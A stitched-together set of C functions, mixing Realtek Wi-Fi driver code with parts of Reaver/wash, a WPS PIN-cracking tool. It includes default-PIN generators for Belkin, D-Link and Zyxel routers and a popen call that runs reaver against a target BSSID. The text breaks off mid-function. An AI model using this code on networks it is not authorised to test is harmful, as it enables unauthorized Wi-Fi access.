WIFI_PROBEREQ) { //probe req frame is only for interface2 //change to secondary interface precvframe->u.hdr.adapter = secondary_padapter; clone = _FALSE; } break; case WIFI_CTRL_TYPE: // Handle BC/MC ctrl Packets break; case WIFI_DATA_TYPE: //Handle BC/MC data Packets //Notes: AP MODE never rx BC/MC data packets paddr2 = GetAddr2Ptr(precvframe->u.hdr.rx_data); if(_rtw_memcmp(paddr2, get_bssid(&secondary_padapter->mlmepriv), ETH_ALEN)) { //change to secondary interface precvframe->u.hdr.adapter = secondary_padapter; clone = _FALSE; } break; default: break; } #endif if(_TRUE == clone) { //clone/copy to if2 struct rx_pkt_attrib *pattrib = NULL; precvframe_if2 = rtw_alloc_recvframe(pfree_recv_queue); if(precvframe_if2) { precvframe_if2->u.hdr.adapter = secondary_padapter; _rtw_init_listhead(&precvframe_if2->u.hdr.list); precvframe_if2->u.hdr.precvbuf = NULL; //can't access the precvbuf for new arch. precvframe_if2->u.hdr.len=0; _rtw_memcpy(&precvframe_if2->u.hdr.attrib, &precvframe->u.hdr.attrib, sizeof(struct rx_pkt_attrib)); pattrib = &precvframe_if2->u.hdr.attrib; if(rtw_os_alloc_recvframe(secondary_padapter, precvframe_if2, pbuf, NULL) == _SUCCESS) { recvframe_put(precvframe_if2, pattrib->pkt_len); //recvframe_pull(precvframe_if2, drvinfo_sz + RXDESC_SIZE); if (pattrib->physt && pphy_status) update_recvframe_phyinfo_88e(precvframe_if2, (struct phy_stat*)pphy_status); ret = rtw_recv_entry(precvframe_if2); } else { rtw_free_recvframe(precvframe_if2, pfree_recv_queue); DBG_8192C("%s()-%d: alloc_skb() failed!\n", __FUNCTION__, __LINE__); } } } } //if (precvframe->u.hdr.attrib.physt) //update_recvframe_phyinfo_88e(precvframe, (struct phy_stat*)pphy_status); //ret = rtw_recv_entry(precvframe); #endif return ret; }
/* * Notice: * Before calling this function, * precvframe->u.hdr.rx_data should be ready! */ void rtl8192e_query_rx_phy_status( union recv_frame *precvframe, u8 *pphy_status) { PADAPTER padapter = precvframe->u.hdr.adapter; struct rx_pkt_attrib *pattrib = &precvframe->u.hdr.attrib; HAL_DATA_TYPE *pHalData = GET_HAL_DATA(padapter); PODM_PHY_INFO_T pPHYInfo = (PODM_PHY_INFO_T)(&pattrib->phy_info); u8 *wlanhdr; ODM_PACKET_INFO_T pkt_info; u8 *sa; struct sta_priv *pstapriv; struct sta_info *psta; //_irqL irqL; pkt_info.bPacketMatchBSSID =_FALSE; pkt_info.bPacketToSelf = _FALSE; pkt_info.bPacketBeacon = _FALSE; wlanhdr = get_recvframe_data(precvframe); pkt_info.bPacketMatchBSSID = ((!IsFrameTypeCtrl(wlanhdr)) && !pattrib->icv_err && !pattrib->crc_err && _rtw_memcmp(get_hdr_bssid(wlanhdr), get_bssid(&padapter->mlmepriv), ETH_ALEN)); pkt_info.bToSelf = ((!pattrib->icv_err) && (!pattrib->crc_err)) && (_rtw_memcmp(get_ra(wlanhdr), myid(&padapter->eeprompriv), ETH_ALEN)); pkt_info.bPacketToSelf = pkt_info.bPacketMatchBSSID && (_rtw_memcmp(get_ra(wlanhdr), myid(&padapter->eeprompriv), ETH_ALEN)); pkt_info.bPacketBeacon = pkt_info.bPacketMatchBSSID && (GetFrameSubType(wlanhdr) == WIFI_BEACON); /* if(pkt_info.bPacketBeacon){ if(check_fwstate(&padapter->mlmepriv, WIFI_STATION_STATE) == _TRUE){ sa = padapter->mlmepriv.cur_network.network.MacAddress; #if 0 { DBG_8192C("==> rx beacon from AP[%02x:%02x:%02x:%02x:%02x:%02x]\n", sa[0],sa[1],sa[2],sa[3],sa[4],sa[5]); } #endif } else { //to do Ad-hoc sa = NULL; } } else{ sa = get_sa(wlanhdr); } */ sa = get_ta(wlanhdr); pstapriv = &padapter->stapriv; pkt_info.StationID = 0xFF; psta = rtw_get_stainfo(pstapriv, sa); if (psta) { pkt_info.StationID = psta->mac_id; //DBG_8192C("%s ==> StationID(%d)\n",__FUNCTION__,pkt_info.StationID); } pkt_info.DataRate = pattrib->data_rate; //rtl8192e_query_rx_phy_status(precvframe, pphy_status); //_enter_critical_bh(&pHalData->odm_stainfo_lock, &irqL); ODM_PhyStatusQuery(&pHalData->odmpriv,pPHYInfo,pphy_status,&(pkt_info)); if(psta) psta->rssi = pattrib->phy_info.RecvSignalPower; //_exit_critical_bh(&pHalData->odm_stainfo_lock, &irqL); precvframe->u.hdr.psta = NULL; if (pkt_info.bPacketMatchBSSID && (check_fwstate(&padapter->mlmepriv, WIFI_AP_STATE) == _TRUE)) { if (psta) { precvframe->u.hdr.psta = psta; process_phy_info(padapter, precvframe); } } else if (pkt_info.bPacketToSelf || pkt_info.bPacketBeacon) { if (check_fwstate(&padapter->mlmepriv, WIFI_ADHOC_STATE|WIFI_ADHOC_MASTER_STATE) == _TRUE) { if (psta) { precvframe->u.hdr.psta = psta; } } process_phy_info(padapter, precvframe); } }
static int wps_process_serial_number(struct wps_device_data *dev, const u8 *str, size_t str_len) { if (str == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Serial Number received"); return -1; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Serial Number", str, str_len); /****** ADD THIS PART ******/ printf("[P] Access Point Serial Number: "); int pixiecnt = 0; for (; pixiecnt < str_len; pixiecnt++) { printf("%c", (char *) str[pixiecnt]); } printf("\n"); /******/ if(globule->stop_in_m1 == 1) { //exit reaver, need this to get manufac and model for the wash option exit(0); } //generate pin, created by http://www.devttys0.com/ team //https://github.com/devttys0/wps/tree/master/pingens/belkin if(globule->op_gen_pin == 1) { printf("[Pin Gen] Belkin Default Pin Generator by devttys0 team\n"); if(str_len < 4) //serial muito curto { printf("[Pin Gen] Model Serial Number too short\n"); exit(0); } printf("[Pin Gen] Pin Generated : %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 0)); printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 1)); printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, -1)); exit(0); } //generate pin, created by http://www.devttys0.com/ team //https://github.com/devttys0/wps/tree/master/pingens/dlink if(globule->op_gen_pin == 2) { printf("[Pin Gen] D-Link Default Pin Generator by devttys0 team\n"); printf("[Pin Gen] Pin Generated : %08d\n",pingen_dlink(mac2str(get_bssid(),'\0'), str, str_len, 0)); printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_dlink(mac2str(get_bssid(),'\0'), str, str_len, 1)); printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_dlink(mac2str(get_bssid(),'\0'), str, str_len, -1)); exit(0); } if(globule->op_gen_pin == 3) { printf("[Pin Gen] Zyxel Default Pin Generator\n"); printf("[Pin Gen] Pin Generated : %08d\n",pingen_zyxel(mac2str(get_bssid(),'\0'), str, str_len, 0)); exit(0); } os_free(dev->serial_number); dev->serial_number = os_malloc(str_len + 1); if (dev->serial_number == NULL) return -1; os_memcpy(dev->serial_number, str, str_len); dev->serial_number[str_len] = '\0'; return 0; }
void rtl8188e_set_FwJoinBssReport_cmd(PADAPTER padapter, u8 mstatus) { JOINBSSRPT_PARM_88E JoinBssRptParm; HAL_DATA_TYPE *pHalData = GET_HAL_DATA(padapter); struct mlme_ext_priv *pmlmeext = &(padapter->mlmeextpriv); struct mlme_ext_info *pmlmeinfo = &(pmlmeext->mlmext_info); #ifdef CONFIG_WOWLAN struct mlme_priv *pmlmepriv = &padapter->mlmepriv; struct sta_info *psta = NULL; #endif BOOLEAN bSendBeacon=_FALSE; BOOLEAN bcn_valid = _FALSE; u8 DLBcnCount=0; u32 poll = 0; _func_enter_; DBG_871X("%s mstatus(%x)\n", __FUNCTION__,mstatus); if(mstatus == 1) { // We should set AID, correct TSF, HW seq enable before set JoinBssReport to Fw in 88/92C. // Suggested by filen. Added by tynli. rtw_write16(padapter, REG_BCN_PSR_RPT, (0xC000|pmlmeinfo->aid)); // Do not set TSF again here or vWiFi beacon DMA INT will not work. //correct_TSF(padapter, pmlmeext); // Hw sequende enable by dedault. 2010.06.23. by tynli. //rtw_write16(padapter, REG_NQOS_SEQ, ((pmlmeext->mgnt_seq+100)&0xFFF)); //rtw_write8(padapter, REG_HWSEQ_CTRL, 0xFF); //Set REG_CR bit 8. DMA beacon by SW. pHalData->RegCR_1 |= BIT0; rtw_write8(padapter, REG_CR+1, pHalData->RegCR_1); // Disable Hw protection for a time which revserd for Hw sending beacon. // Fix download reserved page packet fail that access collision with the protection time. // 2010.05.11. Added by tynli. //SetBcnCtrlReg(padapter, 0, BIT3); //SetBcnCtrlReg(padapter, BIT4, 0); rtw_write8(padapter, REG_BCN_CTRL, rtw_read8(padapter, REG_BCN_CTRL)&(~BIT(3))); rtw_write8(padapter, REG_BCN_CTRL, rtw_read8(padapter, REG_BCN_CTRL)|BIT(4)); if(pHalData->RegFwHwTxQCtrl&BIT6) { DBG_871X("HalDownloadRSVDPage(): There is an Adapter is sending beacon.\n"); bSendBeacon = _TRUE; } // Set FWHW_TXQ_CTRL 0x422[6]=0 to tell Hw the packet is not a real beacon frame. rtw_write8(padapter, REG_FWHW_TXQ_CTRL+2, (pHalData->RegFwHwTxQCtrl&(~BIT6))); pHalData->RegFwHwTxQCtrl &= (~BIT6); // Clear beacon valid check bit. rtw_hal_set_hwreg(padapter, HW_VAR_BCN_VALID, NULL); DLBcnCount = 0; poll = 0; do { // download rsvd page. SetFwRsvdPagePkt(padapter, _FALSE); DLBcnCount++; do { rtw_yield_os(); //rtw_mdelay_os(10); // check rsvd page download OK. rtw_hal_get_hwreg(padapter, HW_VAR_BCN_VALID, (u8*)(&bcn_valid)); poll++; } while(!bcn_valid && (poll%10)!=0 && !padapter->bSurpriseRemoved && !padapter->bDriverStopped); }while(!bcn_valid && DLBcnCount<=100 && !padapter->bSurpriseRemoved && !padapter->bDriverStopped); //RT_ASSERT(bcn_valid, ("HalDownloadRSVDPage88ES(): 1 Download RSVD page failed!\n")); if(padapter->bSurpriseRemoved || padapter->bDriverStopped) { } else if(!bcn_valid) DBG_871X(ADPT_FMT": 1 DL RSVD page failed! DLBcnCount:%u, poll:%u\n", ADPT_ARG(padapter) ,DLBcnCount, poll); else { struct pwrctrl_priv *pwrctl = adapter_to_pwrctl(padapter); pwrctl->fw_psmode_iface_id = padapter->iface_id; DBG_871X(ADPT_FMT": 1 DL RSVD page success! DLBcnCount:%u, poll:%u\n", ADPT_ARG(padapter), DLBcnCount, poll); } // // We just can send the reserved page twice during the time that Tx thread is stopped (e.g. pnpsetpower) // becuase we need to free the Tx BCN Desc which is used by the first reserved page packet. // At run time, we cannot get the Tx Desc until it is released in TxHandleInterrupt() so we will return // the beacon TCB in the following code. 2011.11.23. by tynli. // //if(bcn_valid && padapter->bEnterPnpSleep) if(0) { if(bSendBeacon) { rtw_hal_set_hwreg(padapter, HW_VAR_BCN_VALID, NULL); DLBcnCount = 0; poll = 0; do { SetFwRsvdPagePkt(padapter, _TRUE); DLBcnCount++; do { rtw_yield_os(); //rtw_mdelay_os(10); // check rsvd page download OK. rtw_hal_get_hwreg(padapter, HW_VAR_BCN_VALID, (u8*)(&bcn_valid)); poll++; } while(!bcn_valid && (poll%10)!=0 && !padapter->bSurpriseRemoved && !padapter->bDriverStopped); }while(!bcn_valid && DLBcnCount<=100 && !padapter->bSurpriseRemoved && !padapter->bDriverStopped); //RT_ASSERT(bcn_valid, ("HalDownloadRSVDPage(): 2 Download RSVD page failed!\n")); if(padapter->bSurpriseRemoved || padapter->bDriverStopped) { } else if(!bcn_valid) DBG_871X("%s: 2 Download RSVD page failed! DLBcnCount:%u, poll:%u\n", __FUNCTION__ ,DLBcnCount, poll); else DBG_871X("%s: 2 Download RSVD success! DLBcnCount:%u, poll:%u\n", __FUNCTION__, DLBcnCount, poll); } } // Enable Bcn //SetBcnCtrlReg(padapter, BIT3, 0); //SetBcnCtrlReg(padapter, 0, BIT4); rtw_write8(padapter, REG_BCN_CTRL, rtw_read8(padapter, REG_BCN_CTRL)|BIT(3)); rtw_write8(padapter, REG_BCN_CTRL, rtw_read8(padapter, REG_BCN_CTRL)&(~BIT(4))); // To make sure that if there exists an adapter which would like to send beacon. // If exists, the origianl value of 0x422[6] will be 1, we should check this to // prevent from setting 0x422[6] to 0 after download reserved page, or it will cause // the beacon cannot be sent by HW. // 2010.06.23. Added by tynli. if(bSendBeacon) { rtw_write8(padapter, REG_FWHW_TXQ_CTRL+2, (pHalData->RegFwHwTxQCtrl|BIT6)); pHalData->RegFwHwTxQCtrl |= BIT6; } // // Update RSVD page location H2C to Fw. // if(bcn_valid) { rtw_hal_set_hwreg(padapter, HW_VAR_BCN_VALID, NULL); DBG_871X("Set RSVD page location to Fw.\n"); //FillH2CCmd88E(Adapter, H2C_88E_RSVDPAGE, H2C_RSVDPAGE_LOC_LENGTH, pMgntInfo->u1RsvdPageLoc); } // Do not enable HW DMA BCN or it will cause Pcie interface hang by timing issue. 2011.11.24. by tynli. //if(!padapter->bEnterPnpSleep) { // Clear CR[8] or beacon packet will not be send to TxBuf anymore. pHalData->RegCR_1 &= (~BIT0); rtw_write8(padapter, REG_CR+1, pHalData->RegCR_1); } } #ifdef CONFIG_WOWLAN if (adapter_to_pwrctl(padapter)->wowlan_mode){ JoinBssRptParm.OpMode = mstatus; psta = rtw_get_stainfo(&padapter->stapriv, get_bssid(pmlmepriv)); if (psta != NULL) { JoinBssRptParm.MacID = psta->mac_id; } else { JoinBssRptParm.MacID = 0; } FillH2CCmd_88E(padapter, H2C_COM_MEDIA_STATUS_RPT, sizeof(JoinBssRptParm), (u8 *)&JoinBssRptParm); DBG_871X_LEVEL(_drv_info_, "%s opmode:%d MacId:%d\n", __func__, JoinBssRptParm.OpMode, JoinBssRptParm.MacID); } else { DBG_871X_LEVEL(_drv_info_, "%s wowlan_mode is off\n", __func__); } #endif //CONFIG_WOWLAN _func_exit_; }
void rtl8723b_HalDmWatchDog_in_LPS(IN PADAPTER Adapter) { u8 bLinked=_FALSE; PHAL_DATA_TYPE pHalData = GET_HAL_DATA(Adapter); struct mlme_priv *pmlmepriv = &Adapter->mlmepriv; PDM_ODM_T pDM_Odm = &pHalData->odmpriv; pDIG_T pDM_DigTable = &pDM_Odm->DM_DigTable; struct sta_priv *pstapriv = &Adapter->stapriv; struct sta_info *psta = NULL; #ifdef CONFIG_CONCURRENT_MODE PADAPTER pbuddy_adapter = Adapter->pbuddy_adapter; #endif //CONFIG_CONCURRENT_MODE if (!rtw_is_hw_init_completed(Adapter)) goto skip_lps_dm; if(rtw_linked_check(Adapter)) bLinked = _TRUE; #ifdef CONFIG_CONCURRENT_MODE if (pbuddy_adapter && rtw_linked_check(pbuddy_adapter)) bLinked = _TRUE; #endif //CONFIG_CONCURRENT_MODE ODM_CmnInfoUpdate(&pHalData->odmpriv ,ODM_CMNINFO_LINK, bLinked); if(bLinked == _FALSE) goto skip_lps_dm; if (!(pDM_Odm->SupportAbility & ODM_BB_RSSI_MONITOR)) goto skip_lps_dm; //ODM_DMWatchdog(&pHalData->odmpriv); //Do DIG by RSSI In LPS-32K //.1 Find MIN-RSSI psta = rtw_get_stainfo(pstapriv, get_bssid(pmlmepriv)); if(psta == NULL) goto skip_lps_dm; pHalData->EntryMinUndecoratedSmoothedPWDB = psta->rssi_stat.UndecoratedSmoothedPWDB; DBG_871X("CurIGValue=%d, EntryMinUndecoratedSmoothedPWDB = %d\n", pDM_DigTable->CurIGValue, pHalData->EntryMinUndecoratedSmoothedPWDB ); if(pHalData->EntryMinUndecoratedSmoothedPWDB <=0) goto skip_lps_dm; pHalData->MinUndecoratedPWDBForDM = pHalData->EntryMinUndecoratedSmoothedPWDB; pDM_Odm->RSSI_Min = pHalData->MinUndecoratedPWDBForDM; //if(pDM_DigTable->CurIGValue != pDM_Odm->RSSI_Min) if((pDM_DigTable->CurIGValue > pDM_Odm->RSSI_Min + 5) || (pDM_DigTable->CurIGValue < pDM_Odm->RSSI_Min - 5)) { rtw_dm_in_lps_wk_cmd(Adapter); } skip_lps_dm: return; }
static sint make_wlanhdr(struct _adapter *padapter, u8 *hdr, struct pkt_attrib *pattrib) { u16 *qc; struct ieee80211_hdr *pwlanhdr = (struct ieee80211_hdr *)hdr; struct mlme_priv *pmlmepriv = &padapter->mlmepriv; struct qos_priv *pqospriv = &pmlmepriv->qospriv; __le16 *fctrl = &pwlanhdr->frame_ctl; memset(hdr, 0, WLANHDR_OFFSET); SetFrameSubType(fctrl, pattrib->subtype); if (pattrib->subtype & WIFI_DATA_TYPE) { if (check_fwstate(pmlmepriv, WIFI_STATION_STATE)) { /* to_ds = 1, fr_ds = 0; */ SetToDs(fctrl); memcpy(pwlanhdr->addr1, get_bssid(pmlmepriv), ETH_ALEN); memcpy(pwlanhdr->addr2, pattrib->src, ETH_ALEN); memcpy(pwlanhdr->addr3, pattrib->dst, ETH_ALEN); } else if (check_fwstate(pmlmepriv, WIFI_AP_STATE)) { /* to_ds = 0, fr_ds = 1; */ SetFrDs(fctrl); memcpy(pwlanhdr->addr1, pattrib->dst, ETH_ALEN); memcpy(pwlanhdr->addr2, get_bssid(pmlmepriv), ETH_ALEN); memcpy(pwlanhdr->addr3, pattrib->src, ETH_ALEN); } else if (check_fwstate(pmlmepriv, WIFI_ADHOC_STATE) || check_fwstate(pmlmepriv, WIFI_ADHOC_MASTER_STATE)) { memcpy(pwlanhdr->addr1, pattrib->dst, ETH_ALEN); memcpy(pwlanhdr->addr2, pattrib->src, ETH_ALEN); memcpy(pwlanhdr->addr3, get_bssid(pmlmepriv), ETH_ALEN); } else if (check_fwstate(pmlmepriv, WIFI_MP_STATE)) { memcpy(pwlanhdr->addr1, pattrib->dst, ETH_ALEN); memcpy(pwlanhdr->addr2, pattrib->src, ETH_ALEN); memcpy(pwlanhdr->addr3, get_bssid(pmlmepriv), ETH_ALEN); } else { return _FAIL; } if (pattrib->encrypt) SetPrivacy(fctrl); if (pqospriv->qos_option) { qc = (unsigned short *)(hdr + pattrib->hdrlen - 2); if (pattrib->priority) SetPriority(qc, pattrib->priority); SetAckpolicy(qc, pattrib->ack_policy); } /* TODO: fill HT Control Field */ /* Update Seq Num will be handled by f/w */ { struct sta_info *psta; sint bmcst = IS_MCAST(pattrib->ra); if (pattrib->psta) { psta = pattrib->psta; } else { if (bmcst) psta = r8712_get_bcmc_stainfo(padapter); else psta = r8712_get_stainfo(&padapter->stapriv, pattrib->ra); } if (psta) { psta->sta_xmitpriv.txseq_tid [pattrib->priority]++; psta->sta_xmitpriv.txseq_tid[pattrib->priority] &= 0xFFF; pattrib->seqnum = psta->sta_xmitpriv. txseq_tid[pattrib->priority]; SetSeqNum(hdr, pattrib->seqnum); } } } return _SUCCESS; }
void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *target, int passive, int mode, int source) { struct radio_tap_header *rt_header = NULL; struct dot11_frame_header *frame_header = NULL; struct libwps_data *wps = NULL; enum encryption_type encryption = NONE; char *bssid = NULL, *ssid = NULL, *lock_display = NULL; int wps_parsed = 0, probe_sent = 0, channel = 0, rssi = 0; static int channel_changed = 0; char info_manufac[500]; char info_modelnum[500]; char info_modelserial[500]; wps = malloc(sizeof(struct libwps_data)); memset(wps, 0, sizeof(struct libwps_data)); if(packet == NULL || header == NULL || header->len < MIN_BEACON_SIZE) { goto end; } rt_header = (struct radio_tap_header *) radio_header(packet, header->len); frame_header = (struct dot11_frame_header *) (packet + rt_header->len); /* If a specific BSSID was specified, only parse packets from that BSSID */ if(!is_target(frame_header)) { goto end; } set_ssid(NULL); bssid = (char *) mac2str(frame_header->addr3, ':'); set_bssid((unsigned char *) frame_header->addr3); if(bssid) { if((target == NULL) || (target != NULL && strcmp(bssid, target) == 0)) { channel = parse_beacon_tags(packet, header->len); rssi = signal_strength(packet, header->len); ssid = (char *) get_ssid(); if(target != NULL && channel_changed == 0) { ualarm(0, 0); change_channel(channel); channel_changed = 1; } if(frame_header->fc.sub_type == PROBE_RESPONSE || frame_header->fc.sub_type == SUBTYPE_BEACON) { wps_parsed = parse_wps_parameters(packet, header->len, wps); } if(!is_done(bssid) && (get_channel() == channel || source == PCAP_FILE)) { if(frame_header->fc.sub_type == SUBTYPE_BEACON && mode == SCAN && !passive && // should_probe(bssid)) should_probe(bssid) #ifdef __APPLE__ && 0 #endif ) { send_probe_request(get_bssid(), get_ssid()); probe_sent = 1; } if(!insert(bssid, ssid, wps, encryption, rssi)) { update(bssid, ssid, wps, encryption); } else if(wps->version > 0) { switch(wps->locked) { case WPSLOCKED: lock_display = YES; break; case UNLOCKED: case UNSPECIFIED: lock_display = NO; break; } //ideas made by kcdtv if(get_chipset_output == 1) //if(1) { if (c_fix == 0) { //no use a fixed channel cprintf(INFO,"Option (-g) REQUIRES a channel to be set with (-c)\n"); exit(0); } FILE *fgchipset=NULL; char cmd_chipset[4000]; char cmd_chipset_buf[4000]; char buffint[5]; char *aux_cmd_chipset=NULL; memset(cmd_chipset, 0, sizeof(cmd_chipset)); memset(cmd_chipset_buf, 0, sizeof(cmd_chipset_buf)); memset(info_manufac, 0, sizeof(info_manufac)); memset(info_modelnum, 0, sizeof(info_modelnum)); memset(info_modelserial, 0, sizeof(info_modelserial)); strcat(cmd_chipset,"reaver -0 -s y -vv -i "); //need option to stop reaver in m1 stage strcat(cmd_chipset,get_iface()); strcat(cmd_chipset, " -b "); strcat(cmd_chipset, mac2str(get_bssid(),':')); strcat(cmd_chipset," -c "); snprintf(buffint, sizeof(buffint), "%d",channel); strcat(cmd_chipset, buffint); //cprintf(INFO,"\n%s\n",cmd_chipset); if ((fgchipset = popen(cmd_chipset, "r")) == NULL) { printf("Error opening pipe!\n"); //return -1; } while (fgets(cmd_chipset_buf, 4000, fgchipset) != NULL) { //[P] WPS Manufacturer: xxx //[P] WPS Model Number: yyy //[P] WPS Model Serial Number: zzz //cprintf(INFO,"\n%s\n",cmd_chipset_buf); aux_cmd_chipset = strstr(cmd_chipset_buf,"[P] WPS Manufacturer:"); if(aux_cmd_chipset != NULL) { //bug fix by alxchk strncpy(info_manufac, aux_cmd_chipset+21, sizeof(info_manufac)); } aux_cmd_chipset = strstr(cmd_chipset_buf,"[P] WPS Model Number:"); if(aux_cmd_chipset != NULL) { //bug fix by alxchk strncpy(info_modelnum, aux_cmd_chipset+21, sizeof(info_modelnum)); } aux_cmd_chipset = strstr(cmd_chipset_buf,"[P] WPS Model Serial Number:"); if(aux_cmd_chipset != NULL) { //bug fix by alxchk strncpy(info_modelserial, aux_cmd_chipset+28, sizeof(info_modelserial)); } } //cprintf(INFO,"\n%s\n",info_manufac); info_manufac[strcspn ( info_manufac, "\n" )] = '\0'; info_modelnum[strcspn ( info_modelnum, "\n" )] = '\0'; info_modelserial[strcspn ( info_modelserial, "\n" )] = '\0'; if(pclose(fgchipset)) { //printf("Command not found or exited with error status\n"); //return -1; } } if (o_file_p == 0) { cprintf(INFO, "%17s %2d %.2d %d.%d %s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, ssid); } else { if(get_chipset_output == 1) { cprintf(INFO, "%17s|%2d|%.2d|%d.%d|%s|%s|%s|%s|%s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, ssid, info_manufac, info_modelnum, info_modelserial); }else { cprintf(INFO, "%17s|%2d|%.2d|%d.%d|%s|%s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, ssid); } }
sint r8712_update_attrib(struct _adapter *padapter, _pkt *pkt, struct pkt_attrib *pattrib) { struct pkt_file pktfile; struct sta_info *psta = NULL; struct ethhdr etherhdr; struct tx_cmd txdesc; sint bmcast; struct sta_priv *pstapriv = &padapter->stapriv; struct security_priv *psecuritypriv = &padapter->securitypriv; struct mlme_priv *pmlmepriv = &padapter->mlmepriv; struct qos_priv *pqospriv = &pmlmepriv->qospriv; _r8712_open_pktfile(pkt, &pktfile); _r8712_pktfile_read(&pktfile, (unsigned char *)ðerhdr, ETH_HLEN); pattrib->ether_type = ntohs(etherhdr.h_proto); /* * If driver xmit ARP packet, driver can set ps mode to initial * setting. It stands for getting DHCP or fix IP. */ if (pattrib->ether_type == 0x0806) { if (padapter->pwrctrlpriv.pwr_mode != padapter->registrypriv.power_mgnt) { del_timer_sync(&pmlmepriv->dhcp_timer); r8712_set_ps_mode(padapter, padapter->registrypriv.power_mgnt, padapter->registrypriv.smart_ps); } } memcpy(pattrib->dst, ðerhdr.h_dest, ETH_ALEN); memcpy(pattrib->src, ðerhdr.h_source, ETH_ALEN); pattrib->pctrl = 0; if (check_fwstate(pmlmepriv, WIFI_ADHOC_STATE) || check_fwstate(pmlmepriv, WIFI_ADHOC_MASTER_STATE)) { memcpy(pattrib->ra, pattrib->dst, ETH_ALEN); memcpy(pattrib->ta, pattrib->src, ETH_ALEN); } else if (check_fwstate(pmlmepriv, WIFI_STATION_STATE)) { memcpy(pattrib->ra, get_bssid(pmlmepriv), ETH_ALEN); memcpy(pattrib->ta, pattrib->src, ETH_ALEN); } else if (check_fwstate(pmlmepriv, WIFI_AP_STATE)) { memcpy(pattrib->ra, pattrib->dst, ETH_ALEN); memcpy(pattrib->ta, get_bssid(pmlmepriv), ETH_ALEN); } else if (check_fwstate(pmlmepriv, WIFI_MP_STATE)) { /*firstly, filter packet not belongs to mp*/ if (pattrib->ether_type != 0x8712) return _FAIL; /* for mp storing the txcmd per packet, * according to the info of txcmd to update pattrib */ /*get MP_TXDESC_SIZE bytes txcmd per packet*/ _r8712_pktfile_read(&pktfile, (u8 *)&txdesc, TXDESC_SIZE); memcpy(pattrib->ra, pattrib->dst, ETH_ALEN); memcpy(pattrib->ta, pattrib->src, ETH_ALEN); pattrib->pctrl = 1; } /* r8712_xmitframe_coalesce() overwrite this!*/ pattrib->pktlen = pktfile.pkt_len; if (pattrib->ether_type == ETH_P_IP) { /* The following is for DHCP and ARP packet, we use cck1M to * tx these packets and let LPS awake some time * to prevent DHCP protocol fail */ u8 tmp[24]; _r8712_pktfile_read(&pktfile, &tmp[0], 24); pattrib->dhcp_pkt = 0; if (pktfile.pkt_len > 282) {/*MINIMUM_DHCP_PACKET_SIZE)*/ if (pattrib->ether_type == ETH_P_IP) {/* IP header*/ if (((tmp[21] == 68) && (tmp[23] == 67)) || ((tmp[21] == 67) && (tmp[23] == 68))) { /* 68 : UDP BOOTP client * 67 : UDP BOOTP server * Use low rate to send DHCP packet. */ pattrib->dhcp_pkt = 1; } } } } bmcast = IS_MCAST(pattrib->ra); /* get sta_info*/ if (bmcast) { psta = r8712_get_bcmc_stainfo(padapter); pattrib->mac_id = 4; } else { if (check_fwstate(pmlmepriv, WIFI_MP_STATE)) { psta = r8712_get_stainfo(pstapriv, get_bssid(pmlmepriv)); pattrib->mac_id = 5; } else { psta = r8712_get_stainfo(pstapriv, pattrib->ra); if (psta == NULL) /* drop the pkt */ return _FAIL; if (check_fwstate(pmlmepriv, WIFI_STATION_STATE)) pattrib->mac_id = 5; else pattrib->mac_id = psta->mac_id; } } if (psta) { pattrib->psta = psta; } else { /* if we cannot get psta => drrp the pkt */ return _FAIL; } pattrib->ack_policy = 0; /* get ether_hdr_len */ pattrib->pkt_hdrlen = ETH_HLEN; if (pqospriv->qos_option) { r8712_set_qos(&pktfile, pattrib); } else { pattrib->hdrlen = WLAN_HDR_A3_LEN; pattrib->subtype = WIFI_DATA_TYPE; pattrib->priority = 0; } if (psta->ieee8021x_blocked) { pattrib->encrypt = 0; if ((pattrib->ether_type != 0x888e) && !check_fwstate(pmlmepriv, WIFI_MP_STATE)) return _FAIL; } else { GET_ENCRY_ALGO(psecuritypriv, psta, pattrib->encrypt, bmcast); } switch (pattrib->encrypt) { case _WEP40_: case _WEP104_: pattrib->iv_len = 4; pattrib->icv_len = 4; break; case _TKIP_: pattrib->iv_len = 8; pattrib->icv_len = 4; if (padapter->securitypriv.busetkipkey == _FAIL) return _FAIL; break; case _AES_: pattrib->iv_len = 8; pattrib->icv_len = 8; break; default: pattrib->iv_len = 0; pattrib->icv_len = 0; break; } if (pattrib->encrypt && (padapter->securitypriv.sw_encrypt || !psecuritypriv->hw_decrypted)) pattrib->bswenc = true; else pattrib->bswenc = false; /* if in MP_STATE, update pkt_attrib from mp_txcmd, and overwrite * some settings above. */ if (check_fwstate(pmlmepriv, WIFI_MP_STATE)) pattrib->priority = (le32_to_cpu(txdesc.txdw1) >> QSEL_SHT) & 0x1f; return _SUCCESS; }
/* * Processes incoming packets looking for EAP and WPS messages. * Responsible for stopping the timer when a valid EAP packet is received. * Returns the type of WPS message received, if any. */ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header) { struct radio_tap_header *rt_header = NULL; struct dot11_frame_header *frame_header = NULL; struct llc_header *llc = NULL; struct dot1X_header *dot1x = NULL; struct eap_header *eap = NULL; struct wfa_expanded_header *wfa = NULL; const void *wps_msg = NULL; size_t wps_msg_len = 0; enum wps_type type = UNKNOWN; struct wps_data *wps = NULL; if(packet == NULL || header == NULL) { return UNKNOWN; } else if(header->len < MIN_PACKET_SIZE) { return UNKNOWN; } /* Cast the radio tap and 802.11 frame headers and parse out the Frame Control field */ rt_header = (struct radio_tap_header *) packet; frame_header = (struct dot11_frame_header *) (packet+rt_header->len); /* Does the BSSID/source address match our target BSSID? */ if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0) { /* Is this a data packet sent to our MAC address? */ if(frame_header->fc.type == DATA_FRAME && frame_header->fc.sub_type == SUBTYPE_DATA && (memcmp(frame_header->addr1, get_mac(), MAC_ADDR_LEN) == 0)) { llc = (struct llc_header *) (packet + rt_header->len + sizeof(struct dot11_frame_header) ); /* All packets in our exchanges will be 802.1x */ 